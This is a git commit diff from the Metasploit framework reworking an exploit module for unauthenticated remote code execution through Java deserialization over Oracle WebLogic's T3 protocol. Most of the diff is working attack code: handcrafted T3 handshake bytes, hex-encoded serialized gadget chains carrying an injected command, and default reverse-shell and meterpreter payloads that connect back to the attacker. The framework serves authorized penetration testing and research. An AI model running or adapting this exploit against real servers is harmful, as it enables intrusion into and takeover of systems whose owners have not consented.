Land #11637, Fix a git snafu when landing
Jeffrey Martin
Metasploit
parent
fa5e405531
commit
0a6dbdb2ae
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@ -9,80 +9,69 @@ class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::TcpServer
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#include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Powershell
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Oracle Weblogic Server Deserialization RCE - RMI UnicastRef',
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'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
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'Description' => %q{
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An unauthenticated attacker with network access to the Oracle Weblogic Server T3
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interface can send a serialized object (sun.rmi.server.UnicastRef)
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interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
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to the interface to execute code on vulnerable hosts.
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},
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'Author' =>
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[
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'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
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'Jacob Baines', # Vulnerability Discovery - Tenable Network Security
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'Stephen Breen', # Vulnerability Discovery
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'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2017-3248']
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['CVE', '2015-4852']
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],
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'Privileged' => false,
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'Platform' => %w{ unix win solaris },
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'Targets' =>
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[
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[ 'Unix',
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
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'Payload' => {
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'Encoder' => 'cmd/ifs',
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'BadChars' => ' ',
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'Compat' => {
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'python'
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}
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'Payload' => {
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'Encoder' => 'cmd/ifs',
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'BadChars' => ' ',
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'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
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}
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],
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[ 'Windows',
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'Platform' => 'win',
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'Payload' => {},
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'DefaultOptions'=> {
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'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
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}
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'Platform' => 'win',
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'Payload' => {},
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'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
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],
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[ 'Solaris',
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'Platform' => 'solaris',
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'Arch' => ARCH_CMD,
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'DefaultOptions'=> {
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'PAYLOAD' => 'cmd/unix/reverse_perl'
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},
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'Payload' => {
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'Platform' => 'solaris',
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'Arch' => ARCH_CMD,
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'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
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'Payload' => {
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'Space' => 2048,
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'DisableNops' => true,
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'Compat' => {
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet',
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}
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}
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]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' =>
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{
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'WfsDelay' => 30
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},
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'DisclosureDate' => 'Jan 25 2017'))
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 28 2015'))
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register_options([Opt::RPORT(7001)])
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end
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=begin #TODO: This check is currently incompatible with the Tcp mixin. :-(
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=begin This check is currently incompatible with the Tcp mixin. :-(
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def check
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resp = send_request_cgi(
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'method' => 'GET',
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@ -107,139 +96,18 @@ class MetasploitModule < Msf::Exploit::Remote
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case
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when version.to_s.start_with?('10.3')
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return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')
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when version.to_s.start_with?('12.1.2')
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return CheckCode::Appears unless version > Gem::Version.new('12.1.2.0')
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when version.to_s.start_with?('12.1.3')
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return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')
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when version.to_s.start_with?('12.2')
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return CheckCode::Appears unless version > Gem::Version.new('12.2.1.1')
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return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0')
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end
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return CheckCode::Safe
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end
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=end
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def gen_resp
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if target.name == 'Windows'
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pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
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mycmd = pwrshl.each_byte.map {|b| b.to_s(16)}.join
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elsif target.name == 'Unix' || target.name == 'Solaris'
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nix_cmd = payload.encoded
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mycmd = nix_cmd.each_byte.map {|b| b.to_s(16)}.join
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end
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serialized_cmd = (mycmd.length >> 1).to_s(16).rjust(4,'0')
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serialized_cmd << mycmd
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# Response data taken from JRMPListener generated data:
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# java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 calc.exe
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# Modified captured network traffic bytes. Patch in command to run
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# TODO: Migrate this functionality to the new JavaDeserialization utilities
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@resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'
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@resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'
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@resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'
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@resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'
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@resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'
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@resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'
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@resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'
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@resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'
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@resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'
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@resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'
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@resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'
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@resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'
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@resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'
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@resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'
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@resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'
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@resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'
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@resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'
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@resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'
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@resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'
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@resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'
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@resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'
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@resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'
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@resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'
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@resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'
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@resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'
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@resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'
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@resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'
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@resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'
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@resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'
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@resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'
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@resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'
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@resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'
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@resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'
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@resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'
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@resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'
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@resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'
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@resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'
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@resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'
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@resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'
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@resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'
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@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'
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@resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'
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@resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'
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@resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
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@resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'
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@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'
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@resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'
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@resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'
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@resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'
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@resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'
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@resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'
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@resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'
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@resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'
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@resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'
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@resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'
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@resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'
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@resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'
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@resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'
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@resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'
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@resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'
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@resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'
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@resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'
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@resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'
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@resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'
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@resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'
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@resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'
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@resp << '673badd256e7e91d7b470200007078700000000174'
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@resp << serialized_cmd
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@resp << '74'
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@resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'
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@resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'
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@resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'
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@resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'
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@resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'
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@resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'
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@resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'
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@resp << '7e005a'
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end
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def on_client_connect(client)
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# Make sure to only sent one meterpreter payload to a host.
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# (or as long as the server was listening).
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vprint_status("Comparing host: #{client.peerhost}")
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if @met_sent.include?(client.peerhost) then return end
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@met_sent << client.peerhost
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print_status("Sending payload to client: #{client.peerhost}")
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# Response format determined by watching network traffic
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accept_conn = '4e00'
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raccept_conn = client.peerhost.each_byte.map {|b| b.to_s(16)}.join
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accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2,'0')
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accept_conn << raccept_conn
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accept_conn << '0000'
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accept_conn << client.peerport.to_s(16).rjust(4,'0')
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client.put([accept_conn].pack('H*'))
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client.get_once
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client.get_once
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client.put([@resp].pack('H*'))
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client.get_once
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service.close_client(client)
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end
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def t3_handshake
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# retrieved from network traffic
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shake = "t3 12.2.1\n"
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@ -256,11 +124,27 @@ class MetasploitModule < Msf::Exploit::Remote
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# T3 request serialized data
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# retrieved by watching network traffic
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# This is a proprietary, undocumented protocol
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# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
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data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
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data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
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data << '700000000a000000030000000000000006007070707070700000000a00000003'
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data << '0000000000000006007006'
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# TODO: Cite a source for the dissection of in the following 14 lines:
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data = '000005c3' # lenght of the packet
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data << '01' # CMD_IDENTIFY_REQUEST
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data << '65' # QOS
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data << '01' # Flags:
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# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
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# CONTEXT_TX_FLAG = 2
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# CONTEXT_TRACE_FLAG = 4
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# CONTEXT_EXTENDED_FLAG = 8
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# CONTEXT_EXTENDED_USER_FLAG = 16
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data << 'ffffffff' # response id
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data << 'ffffffff' # invocable id
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data << '0000006a' # abbrev offset
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data << '0000ea60' # reconnect timeout ??
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data << '0000001900937b484a'
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data << '56fa4a777666f581daa4f5b90e2aebfc607499'
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data << 'b4027973720078720178720278700000000a00'
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data << '00000300000000000000060070707070707000'
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data << '00000a000000030000000000000006007006'
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data << 'fe010000' # ----- separator -----
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@ -268,12 +152,12 @@ class MetasploitModule < Msf::Exploit::Remote
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data << '73' # object header
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data << '72001d' # className (29 bytes):
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data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
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data << '5461626c65456e747279' # (continued)
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data << '5461626c65456e747279' # (continued)
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data << '2f52658157f4f9ed' # serialVersionUID
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data << '0c00007870' # remainder of object header
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data << '72' # object header
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data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
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data << '65726e616c2e5061636b616765496e666f' # (continued)
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data << '65726e616c2e5061636b616765496e666f' # (continued)
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data << 'e6f723e7b8ae1ec9' # serialVersionUID
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data << '02' # SC_SERIALIZABLE
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data << '0008' # fieldCount = 8
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@ -293,17 +177,17 @@ class MetasploitModule < Msf::Exploit::Remote
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data << 'fe010000' # ----- separator -----
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data << 'aced0005' # JSO v5 header
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data << '7372' # object header
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data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
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data << '735461626c65456e747279' # (continued)
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data << '2f52658157f4f9ed' # serialVersionUID
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data << '0c' # EXTERNALIZABLE | BLOCKDATA
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data << '00007870' # remainder of object header
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data << '7372' # object header
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data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
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data << '735461626c65456e747279' # (continued)
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data << '2f52658157f4f9ed' # serialVersionUID
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||||
data << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
data << '00007870' # remainder of object header
|
||||
data << '72' # object header
|
||||
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
|
||||
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
|
||||
data << '972245516452463e' # serialVersionUID
|
||||
data << '02' # SC_SERIALIZABLE
|
||||
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
|
||||
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
|
||||
data << '972245516452463e' # serialVersionUID
|
||||
data << '02' # SC_SERIALIZABLE
|
||||
data << '0003' # fieldCount = 3
|
||||
data << '5b0008' # array header (8 bytes)
|
||||
data << '7061636b61676573' # ARRAY NAME = 'packages'
|
||||
|
|
@ -323,7 +207,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
data << '720024' # class (36 bytes)
|
||||
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
|
||||
data << '7465726e616c2e5061636b616765496e666f' # (continued)
|
||||
data << '7465726e616c2e5061636b616765496e666f' # (continued)
|
||||
data << 'e6f723e7b8ae1ec9' # serialVersionUID
|
||||
|
||||
data << '02' # SC_SERIALIZABLE
|
||||
|
|
@ -353,12 +237,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data << '73' # object header
|
||||
data << '72001d' # className (29 bytes):
|
||||
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
|
||||
data << '5461626c65456e747279' # (continued)
|
||||
data << '5461626c65456e747279' # (continued)
|
||||
data << '2f52658157f4f9ed' # serialVersionUID
|
||||
data << '0c00007870' # remainder of object header
|
||||
data << '720021' # className (33 bytes)
|
||||
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
|
||||
data << '65726e616c2e50656572496e666f' # (continued)
|
||||
data << '65726e616c2e50656572496e666f' # (continued)
|
||||
data << '585474f39bc908f1' # serialVersionUID
|
||||
data << '02' # SC_SERIALIZABLE
|
||||
data << '0006' # fieldCount = 6
|
||||
|
|
@ -373,9 +257,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
|
||||
data << '3b' # (continued)
|
||||
data << '78' # block footer
|
||||
data << '720024' # class (36 bytes)
|
||||
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;
|
||||
data << '65726e616c2e56657273696f6e496e666f' # (continued)
|
||||
data << '720024' # class header
|
||||
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;
|
||||
data << '65726e616c2e56657273696f6e496e666f' # (continued)
|
||||
data << '972245516452463e' # serialVersionUID
|
||||
data << '02' # SC_SERIALIZABLE
|
||||
data << '0003' # fieldCount = 3
|
||||
|
|
@ -388,9 +272,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data << '740002' # TC_STRING (2 bytes)
|
||||
data << '5b42' # VALUE = 0x5b42 = [B
|
||||
data << '78' # block footer
|
||||
data << '720024' # class: (36 bytes)
|
||||
data << '720024' # class header
|
||||
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
|
||||
data << '6e616c2e5061636b616765496e666f' # (continued)
|
||||
data << '6e616c2e5061636b616765496e666f' # (continued)
|
||||
data << 'e6f723e7b8ae1ec9' # serialVersionUID
|
||||
data << '02' # SC_SERIALIZABLE
|
||||
data << '0008' # fieldCount = 8
|
||||
|
|
@ -411,33 +295,40 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data << '78' # class footer
|
||||
data << '707702000078' # block footers
|
||||
|
||||
data << 'fe00ff' # whatever this cruft is again
|
||||
data << 'fe00ff' # this cruft again. some kind of footer
|
||||
|
||||
data << 'fe010000' # ----- separator -----
|
||||
|
||||
# weblogic.rjvm.JVMID object
|
||||
data << 'aced0005' # JSO v5 header
|
||||
data << '73' # object header
|
||||
data << '720013' # class (19 bytes)
|
||||
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
|
||||
data << 'dc49c23ede121e2a' # serialVersionUID
|
||||
data << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
data << '0000' # fieldCount = 0 (!!!)
|
||||
data << '78' # block footer
|
||||
data << '720013' # class header
|
||||
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
|
||||
data << 'dc49c23ede121e2a' # serialVersionUID
|
||||
data << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
data << '0000' # fieldCount = 0 (!!!)
|
||||
data << '78' # block footer
|
||||
data << '70' # NULL
|
||||
data << '7750' # block header (80 bytes)
|
||||
data << '21' # !
|
||||
data << '000000000000000000' # 9 NULL BYTES
|
||||
data << '0d' # \n
|
||||
data << '3139322e3136382e312e323237' # 192.168.1.227 #TODO: RANDOMIZE
|
||||
|
||||
data << '0d' # strLength = 13 bytes
|
||||
#data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227
|
||||
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
|
||||
# (must be an IP, and length isn't trivially editable)
|
||||
data << '00' # \0
|
||||
data << '12' # #TODO: UNKNOWN
|
||||
data << '57494e2d4147444d56515542315436' # WIN-AGDMVQUB1T6 #TODO: RANDOMIZE
|
||||
data << '2e' # .
|
||||
data << '656883348cd6000000070000' # #TODO: UNKNOWN #TODO: Can we randomize this?
|
||||
|
||||
data << '12' # strLength = 18 bytes
|
||||
#data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh
|
||||
data << rand_text_alphanumeric(18).unpack('H*')[0]
|
||||
|
||||
data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)
|
||||
|
||||
data << '000000070000' # ??? UNKNOWN ???
|
||||
data << rport.to_s(16).rjust(4, '0') # callback port
|
||||
data << 'ffffffffffffffffffffffffffffffffffffff' # #TODO: UNKNOWN
|
||||
data << 'ffffffffff' # #TODO: UNKNOWN
|
||||
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???
|
||||
data << 'ffffffffff' # ??? UNKNOWN ???
|
||||
data << '78' # block footer
|
||||
|
||||
data << 'fe010000' # ----- separator -----
|
||||
|
|
@ -454,11 +345,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
data << '70' # TC_NULL
|
||||
data << '77' # block header
|
||||
data << '20' # length = 32 bytes
|
||||
data << '0114dc42bd071a772700' # #TODO: UNKNOWN #TODO: Can we randomize this?
|
||||
data << '0d' # \n
|
||||
data << '3234322e3231342e312e323534' # 242.214.1.254 #TODO: RANDOMIZE
|
||||
data << '61863d1d' # #TODO: UNKNOWN #TODO: Can we randomize this?
|
||||
data << '00000000' # NULL BYTES
|
||||
data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???
|
||||
#data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)
|
||||
|
||||
data << '0d' # string length = 13 bytes (NOTE: do not edit)
|
||||
#data << '3234322e3231342e312e323534' # original string = 242.214.1.254
|
||||
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
|
||||
# (must be an IP, and length isn't trivially editable)
|
||||
|
||||
#data << '61863d1d' # original string = ??? UNKNOWN ???
|
||||
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized
|
||||
|
||||
data << '00000000' # NULL BYTES
|
||||
data << '78' # block footer
|
||||
|
||||
sock.put([data].pack('H*'))
|
||||
|
|
@ -467,77 +365,148 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def send_payload_objdata
|
||||
shost = srvhost
|
||||
if ['0.0.0.0', '127.0.0.1', '::'].include?(shost)
|
||||
shost = Rex::Socket.source_address
|
||||
# payload creation
|
||||
if target.name == 'Windows'
|
||||
mycmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
|
||||
elsif target.name == 'Unix' || target.name == 'Solaris'
|
||||
mycmd = payload.encoded
|
||||
end
|
||||
|
||||
# JRMPClient payload generated from ysoserial:
|
||||
# Patch in srvhost and srvport
|
||||
# TODO: Migrate this functionality to the new JavaDeserialization utilities
|
||||
# basic weblogic ClassTableEntry object (serialized)
|
||||
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
|
||||
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
|
||||
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
|
||||
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000'
|
||||
payload << 'aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65'
|
||||
payload << '456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002'
|
||||
payload << '000078707702000078fe010000aced00057372001d7765626c6f6769632e726a'
|
||||
payload << '766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c0000787072'
|
||||
payload << '00135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000'
|
||||
payload << '78707702000078fe010000aced00057372001d7765626c6f6769632e726a766d'
|
||||
payload << '2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870720010'
|
||||
payload << '6a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361'
|
||||
payload << '706163697479496e6372656d656e7449000c656c656d656e74436f756e745b00'
|
||||
payload << '0b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563'
|
||||
payload << '743b78707702000078fe010000'
|
||||
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
|
||||
|
||||
# manually generated payload using an UnicastRef object
|
||||
# needed parameters are patched in runtime
|
||||
payload << 'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265'
|
||||
payload << '676973747279787200176a6176612e6c616e672e7265666c6563742e50726f78'
|
||||
payload << '79e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265'
|
||||
payload << '666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a61'
|
||||
payload << '76612e726d692e7365727665722e52656d6f74654f626a656374496e766f6361'
|
||||
payload << '74696f6e48616e646c657200000000000000020200007872001c6a6176612e72'
|
||||
payload << '6d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300'
|
||||
payload << '00787077'
|
||||
# serialize the srvhost manually
|
||||
unicast_srvhost = shost.each_byte.map { |b| b.to_s(16) }.join
|
||||
unicast_dat = '000a556e696361737452656600'
|
||||
unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2,'0')
|
||||
unicast_dat << unicast_srvhost
|
||||
unicast_dat << '0000'
|
||||
unicast_dat << srvport.to_s(16).rjust(4,'0')
|
||||
# unique identifier (for multiple executions)
|
||||
rand_id = rand(1..65535)
|
||||
unicast_dat << '000000006133'
|
||||
unicast_dat << rand_id.to_s(16).rjust(4,'0')
|
||||
unicast_dat << '00000000000000000000000000000078'
|
||||
payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2,'0')
|
||||
payload << unicast_dat
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
payload << 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461'
|
||||
payload << '626c6553657276696365436f6e74657874ddcba8706386f0ba0c000078720029'
|
||||
payload << '7765626c6f6769632e726d692e70726f76696465722e42617369635365727669'
|
||||
payload << '6365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765'
|
||||
payload << '626c6f6769632e726d692e696e7465726e616c2e4d6574686f64446573637269'
|
||||
payload << '70746f7212485a828af7f67b0c000078707734002e61757468656e7469636174'
|
||||
payload << '65284c7765626c6f6769632e73656375726974792e61636c2e55736572496e66'
|
||||
payload << '6f3b290000001b7878fe00ff'
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
|
||||
payload << '73735461626c65456e747279' # (cont)
|
||||
payload << '2f52658157f4f9ed' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # remaining object header
|
||||
payload << '72' # class header
|
||||
payload << '00025b42' # Name: 0x5b42
|
||||
payload << 'acf317f8060854e0' # serialVersionUID
|
||||
payload << '02' # SERIALIZABLE
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # class footer
|
||||
payload << '77' # block header
|
||||
payload << '020000' # contents = 0x0000
|
||||
payload << '78' # block footer
|
||||
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
|
||||
payload << '73735461626c65456e747279' # (cont)
|
||||
payload << '2f52658157f4f9ed' # serialVersionUID
|
||||
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # remaining object header
|
||||
payload << '72' # class header
|
||||
|
||||
payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
|
||||
payload << '6563743b' # (cont)
|
||||
payload << '90ce589f1073296c' # serialVersionUID
|
||||
payload << '02' # SERIALIZABLE
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # remaining object header
|
||||
payload << '77' # block header
|
||||
payload << '020000' # contents = 0x0000
|
||||
payload << '78' # block footer
|
||||
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
|
||||
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
|
||||
payload << '73735461626c65456e747279' # (cont)
|
||||
payload << '2f52658157f4f9ed' # serialVersionUID
|
||||
payload << '0c' # SERIALIZABLE | BLOCKDATA
|
||||
payload << '0000' # fieldCount = 0
|
||||
payload << '7870' # block footer
|
||||
payload << '72' # class header
|
||||
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
|
||||
payload << 'd9977d5b803baf01' # serialVersionUID
|
||||
payload << '03' # WRITE_METHOD | SERIALIZABLE
|
||||
payload << '0003' # fieldCount = 3
|
||||
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
|
||||
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
|
||||
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData
|
||||
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
|
||||
payload << '743b' # (cont)
|
||||
payload << '7870' # remaining object header
|
||||
payload << '77' # block header
|
||||
payload << '020000' # contents = 0x0000
|
||||
payload << '78' # block footer
|
||||
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
ysoserial_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsCollections1",mycmd)
|
||||
payload << ysoserial_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
|
||||
|
||||
payload << 'fe010000' # ----- separator -----
|
||||
|
||||
# basic weblogic ImmutableServiceContext object (serialized)
|
||||
payload << 'aced0005' # JSO v5 header
|
||||
payload << '73' # object header
|
||||
payload << '72' # class
|
||||
